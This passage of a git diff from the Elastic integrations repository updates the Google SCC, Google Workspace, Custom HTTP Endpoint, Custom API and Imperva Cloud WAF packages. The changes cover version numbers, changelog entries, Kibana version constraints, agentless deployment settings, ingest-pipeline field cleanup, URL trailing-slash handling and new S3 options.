+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent Based Installation
+- Elastic Agent must be installed
- You can install only one Elastic Agent per host.
- Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
-### Installing and managing an Elastic Agent:
+#### Installing and managing an Elastic Agent:
You have a few options for installing and managing an Elastic Agent:
-### Install a Fleet-managed Elastic Agent (recommended):
+#### Install a Fleet-managed Elastic Agent (recommended):
With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier.
-### Install Elastic Agent in standalone mode (advanced users):
+#### Install Elastic Agent in standalone mode (advanced users):
With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only.
-### Install Elastic Agent in a containerized environment:
+#### Install Elastic Agent in a containerized environment:
You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry and we provide deployment manifests for running on Kubernetes.
There are some minimum requirements for running Elastic Agent and for more information, refer to the link [here](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html).
-The minimum **kibana.version** required is **8.8.0**.
-
## Prerequisites
- Create Google SCC service account [Steps to create](https://developers.google.com/identity/protocols/oauth2/service-account#creatinganaccount).
diff --git a/packages/google_scc/changelog.yml b/packages/google_scc/changelog.yml
index 2e4c7492b44..af6590277b8 100644
--- a/packages/google_scc/changelog.yml
+++ b/packages/google_scc/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "1.8.1"
+ changes:
+ - description: Enable Agentless deployment and fixed manifest.yml to support package-spec 3.2.3.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12907
+- version: "1.8.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.7.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml
index e7ab0e5e5a1..213ffc30f39 100644
--- a/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml
@@ -23,6 +23,11 @@ processors:
tag: rename_message
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
tag: 'json_decoding'
diff --git a/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
index cac03540eef..e6ea8b4f1f1 100644
--- a/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
@@ -11,6 +11,11 @@ processors:
tag: rename_message
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- set:
field: event.kind
tag: set_event_kind
diff --git a/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml
index 2e72fdc9bda..14f7ef252e7 100644
--- a/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml
@@ -11,6 +11,11 @@ processors:
tag: rename_message
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
tag: 'json_decoding'
diff --git a/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml
index 04ca7c60a9c..3c3184f83a6 100644
--- a/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml
@@ -11,6 +11,11 @@ processors:
tag: rename_message
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- set:
field: event.kind
tag: set_event_kind
diff --git a/packages/google_scc/docs/README.md b/packages/google_scc/docs/README.md
index 874cdb891f4..0f3ac3eb7a0 100644
--- a/packages/google_scc/docs/README.md
+++ b/packages/google_scc/docs/README.md
@@ -24,30 +24,34 @@ This module has been tested against the latest Google SCC API version **v1**.
## Requirements
-- Elastic Agent must be installed.
+### Agentless Enabled Integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent Based Installation
+- Elastic Agent must be installed
- You can install only one Elastic Agent per host.
- Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
-### Installing and managing an Elastic Agent:
+#### Installing and managing an Elastic Agent:
You have a few options for installing and managing an Elastic Agent:
-### Install a Fleet-managed Elastic Agent (recommended):
+#### Install a Fleet-managed Elastic Agent (recommended):
With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier.
-### Install Elastic Agent in standalone mode (advanced users):
+#### Install Elastic Agent in standalone mode (advanced users):
With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only.
-### Install Elastic Agent in a containerized environment:
+#### Install Elastic Agent in a containerized environment:
You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry and we provide deployment manifests for running on Kubernetes.
There are some minimum requirements for running Elastic Agent and for more information, refer to the link [here](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html).
-The minimum **kibana.version** required is **8.8.0**.
-
## Prerequisites
- Create Google SCC service account [Steps to create](https://developers.google.com/identity/protocols/oauth2/service-account#creatinganaccount).
diff --git a/packages/google_scc/manifest.yml b/packages/google_scc/manifest.yml
index ceb54c85219..143401ff4c1 100644
--- a/packages/google_scc/manifest.yml
+++ b/packages/google_scc/manifest.yml
@@ -1,7 +1,7 @@
-format_version: "3.0.3"
+format_version: "3.2.3"
name: google_scc
title: Google Security Command Center
-version: "1.7.1"
+version: "1.8.1"
description: Collect logs from Google Security Command Center with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- cloudsecurity_cdr
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.18.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
@@ -43,6 +43,14 @@ policy_templates:
- name: google_scc
title: Google SCC logs
description: Collect logs from Google SCC.
+ deployment_modes:
+ default:
+ enabled: true
+ agentless:
+ enabled: true
+ organization: security
+ division: engineering
+ team: security-service-integrations
inputs:
- type: httpjson
title: Collect Google SCC logs via API
diff --git a/packages/google_workspace/_dev/build/docs/README.md b/packages/google_workspace/_dev/build/docs/README.md
index 8b212566dad..a82076bb6fa 100644
--- a/packages/google_workspace/_dev/build/docs/README.md
+++ b/packages/google_workspace/_dev/build/docs/README.md
@@ -123,6 +123,12 @@ Once Service Account credentials are downloaded as a JSON file, then the integra
> NOTE: The default value of the "Page Size" is set to 1000. This option is available under 'Alert' Advance options. Set the parameter "Page Size" according to the requirement. For Alert Data Stream, The default value of "Alert Center API Host" is `https://alertcenter.googleapis.com`. The Alert Center API Host will be used for collecting alert logs only.
+## Agentless Enabled Integration
+
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Logs
### Google Workspace Reports ECS fields
diff --git a/packages/google_workspace/changelog.yml b/packages/google_workspace/changelog.yml
index b3787aad9d0..e4e620f8e2d 100644
--- a/packages/google_workspace/changelog.yml
+++ b/packages/google_workspace/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.32.0"
+ changes:
+ - description: Enable Agentless deployment.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12921
- version: "2.31.0"
changes:
- description: Update Kibana constraint to support 9.0.0.
diff --git a/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml
index 9e2e73dbaf6..9930eccf41b 100644
--- a/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml
index 7728abf9f37..667f74541a6 100644
--- a/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml
@@ -12,6 +12,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
index e63fea146c3..2b690dd269d 100644
--- a/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml
index a671425c467..8ba033df1e5 100644
--- a/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml
index 96c66e595e5..dfc98b6ef29 100644
--- a/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml
index ea32095cbee..476c846b90f 100644
--- a/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml
@@ -15,6 +15,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml
index 2a71a901c22..8e308eb0597 100644
--- a/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml
index 7132b529640..a9748fdbbb4 100644
--- a/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml
index f471947ee4e..70bdf1aa5d7 100644
--- a/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml
@@ -18,6 +18,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml
index a9ebc6b1cec..a1970436b39 100644
--- a/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml
index 786a876717c..296582d8c56 100644
--- a/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml
index 1782046c28c..c5aaa0aa804 100644
--- a/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml
@@ -21,6 +21,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml
index df4a10416c1..81dca3b46fc 100644
--- a/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml
@@ -9,6 +9,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml
index 1c3c1a5f2ba..5dfae500fbf 100644
--- a/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml
@@ -21,6 +21,11 @@ processors:
target_field: event.original
ignore_missing: true
if: ctx.event?.original == null
+ - remove:
+ field: message
+ ignore_missing: true
+ if: 'ctx.event?.original != null'
+ description: 'The `message` field is no longer required if the document has an `event.original` field.'
- json:
field: event.original
target_field: json
diff --git a/packages/google_workspace/docs/README.md b/packages/google_workspace/docs/README.md
index 63c004fa5b8..5de6cab3a5f 100644
--- a/packages/google_workspace/docs/README.md
+++ b/packages/google_workspace/docs/README.md
@@ -123,6 +123,12 @@ Once Service Account credentials are downloaded as a JSON file, then the integra
> NOTE: The default value of the "Page Size" is set to 1000. This option is available under 'Alert' Advance options. Set the parameter "Page Size" according to the requirement. For Alert Data Stream, The default value of "Alert Center API Host" is `https://alertcenter.googleapis.com`. The Alert Center API Host will be used for collecting alert logs only.
+## Agentless Enabled Integration
+
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Logs
### Google Workspace Reports ECS fields
diff --git a/packages/google_workspace/manifest.yml b/packages/google_workspace/manifest.yml
index 623c0f7b75d..7e2baf105da 100644
--- a/packages/google_workspace/manifest.yml
+++ b/packages/google_workspace/manifest.yml
@@ -1,17 +1,17 @@
name: google_workspace
title: Google Workspace
-version: "2.31.0"
+version: "2.32.0"
source:
license: Elastic-2.0
description: Collect logs from Google Workspace with Elastic Agent.
type: integration
-format_version: "3.0.3"
+format_version: "3.2.3"
categories:
- security
- productivity_security
conditions:
kibana:
- version: "^8.16.0 || ^9.0.0"
+ version: "^8.18.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
@@ -56,6 +56,14 @@ policy_templates:
- name: google_workspace
title: Google Workspace logs
description: Collect logs from Google Workspace APIs
+ deployment_modes:
+ default:
+ enabled: true
+ agentless:
+ enabled: true
+ organization: security
+ division: engineering
+ team: security-service-integrations
inputs:
- type: httpjson
vars:
diff --git a/packages/google_workspace/validation.yml b/packages/google_workspace/validation.yml
index 276611f1199..14dcca3875c 100644
--- a/packages/google_workspace/validation.yml
+++ b/packages/google_workspace/validation.yml
@@ -3,4 +3,3 @@ errors:
- SVR00001 # Saved query, but no filter.
- SVR00002 # Mandatory filters in dashboards.
- SVR00004 # References in dashboards.
- - SVR00005 # Kibana version for saved tags.
diff --git a/packages/http_endpoint/changelog.yml b/packages/http_endpoint/changelog.yml
index ebb2fe58a67..bc3f4b85aa4 100644
--- a/packages/http_endpoint/changelog.yml
+++ b/packages/http_endpoint/changelog.yml
@@ -1,3 +1,18 @@
+- version: "2.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
+- version: "2.4.0"
+ changes:
+ - description: Note support for base64-encoded HMAC headers.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12942
+- version: "2.3.1"
+ changes:
+ - description: Improve HMAC configuration documentation.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12943
- version: "2.3.0"
changes:
- description: Make CEL program configuration available.
diff --git a/packages/http_endpoint/manifest.yml b/packages/http_endpoint/manifest.yml
index 10327aaef76..5f35b3a1552 100644
--- a/packages/http_endpoint/manifest.yml
+++ b/packages/http_endpoint/manifest.yml
@@ -3,10 +3,10 @@ name: http_endpoint
title: Custom HTTP Endpoint Logs
description: Collect JSON data from listening HTTP port with Elastic Agent.
type: input
-version: "2.3.0"
+version: "2.5.0"
conditions:
kibana:
- version: "^8.14.0"
+ version: "^8.15.0 || ^9.0.0"
categories:
- custom
- observability
@@ -131,7 +131,7 @@ policy_templates:
- name: hmac_header
type: text
title: HMAC Header
- description: The name of the header that contains the HMAC signature, for example X-Dropbox-Signature, X-Hub-Signature-256, etc. HMAC signatures may be encoded as hex.
+ description: The name of the header that contains the HMAC signature, for example X-Dropbox-Signature, X-Hub-Signature-256, etc. HMAC signatures may be encoded as hex or base64 (raw or standard).
required: false
show_user: false
- name: hmac_key
diff --git a/packages/httpjson/changelog.yml b/packages/httpjson/changelog.yml
index 65bc4380d8b..66b7e168b6c 100644
--- a/packages/httpjson/changelog.yml
+++ b/packages/httpjson/changelog.yml
@@ -1,3 +1,8 @@
+- version: "1.22.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.21.1"
changes:
- description: Fix broken link in Custom API using Common Expression Language.
diff --git a/packages/httpjson/manifest.yml b/packages/httpjson/manifest.yml
index 6a1e127723f..440bd7ba2d7 100644
--- a/packages/httpjson/manifest.yml
+++ b/packages/httpjson/manifest.yml
@@ -3,10 +3,10 @@ name: httpjson
title: Custom API
description: Collect custom events from an API endpoint with Elastic agent
type: integration
-version: "1.21.1"
+version: "1.22.0"
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
categories:
- custom
policy_templates:
diff --git a/packages/imperva_cloud_waf/changelog.yml b/packages/imperva_cloud_waf/changelog.yml
index b13d3814d54..4ad4792d8b3 100644
--- a/packages/imperva_cloud_waf/changelog.yml
+++ b/packages/imperva_cloud_waf/changelog.yml
@@ -1,4 +1,22 @@
# newer versions go on top
+- version: "1.9.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "1.8.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
+- version: "1.7.0"
+ changes:
+ - description: Prevent absence of trailing slash in base URL from causing data collection failure.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12894
+ - description: Improve error reporting in collection failure case.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12894
- version: "1.6.2"
changes:
- description: Fix error message formatting syntax in agent configuration.
diff --git a/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs
index 82a11634eff..893051264e6 100644
--- a/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs
+++ b/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs b/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs
index 06fe8c6134e..e85fbfe041b 100644
--- a/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs
+++ b/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs
@@ -25,7 +25,7 @@ program: |
has(state.worklist) && size(state.worklist) > 0 ?
state
:
- request("GET", (state.url + "logs.index")).with({
+ request("GET", state.url.trim_right("/") + "/logs.index").with({
"Header":{
"Authorization": ["Basic "+string(base64(state.user+":"+state.password))],
}
@@ -46,7 +46,7 @@ program: |
"error": {
"code": string(resp.StatusCode),
"id": string(resp.Status),
- "message": "GET " + state.url + "logs.index: " + (
+ "message": "GET " + state.url.trim_right("/") + "/logs.index: " + (
size(resp.Body) != 0 ?
string(resp.Body)
:
@@ -64,7 +64,7 @@ program: |
: v.next < size(v.worklist) ?
(
request("GET",
- state.url+v.worklist[v.next].filename
+ state.url.trim_right("/") + v.worklist[v.next].filename
).with({
"Header":{
"Authorization": ["Basic "+string(base64(state.user + ":" + state.password))],
@@ -98,7 +98,7 @@ program: |
"error": {
"code": string(resp.StatusCode),
"id": string(resp.Status),
- "message": "GET " + state.url+v.worklist[v.next].filename + ": " +(
+ "message": "GET " + state.url.trim_right("/") + v.worklist[v.next].filename + ": " +(
size(resp.Body) != 0 ?
string(resp.Body)
:
diff --git a/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml b/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml
index 82bfc68592e..e33975ecac8 100644
--- a/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml
@@ -5,6 +5,10 @@ processors:
field: ecs.version
tag: set_ecs_version
value: 8.11.0
+ - fail:
+ tag: data_collection_error
+ if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null
+ message: error message set and no data to process.
- set:
field: event.kind
tag: set_event_kind_alert
diff --git a/packages/imperva_cloud_waf/data_stream/event/manifest.yml b/packages/imperva_cloud_waf/data_stream/event/manifest.yml
index 74d89e866a2..7baf7c68191 100644
--- a/packages/imperva_cloud_waf/data_stream/event/manifest.yml
+++ b/packages/imperva_cloud_waf/data_stream/event/manifest.yml
@@ -195,6 +195,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: queue_url
type: text
title: "[SQS] Queue URL"
diff --git a/packages/imperva_cloud_waf/manifest.yml b/packages/imperva_cloud_waf/manifest.yml
index 02e9a8f1a05..6dbae58c0ce 100644
--- a/packages/imperva_cloud_waf/manifest.yml
+++ b/packages/imperva_cloud_waf/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.0.3
name: imperva_cloud_waf
title: Imperva Cloud WAF
-version: "1.6.2"
+version: "1.9.0"
description: Collect logs from Imperva Cloud WAF with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.16.2
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/infoblox_bloxone_ddi/changelog.yml b/packages/infoblox_bloxone_ddi/changelog.yml
index dcde26efcdd..45c7fde7ed5 100644
--- a/packages/infoblox_bloxone_ddi/changelog.yml
+++ b/packages/infoblox_bloxone_ddi/changelog.yml
@@ -1,4 +1,9 @@
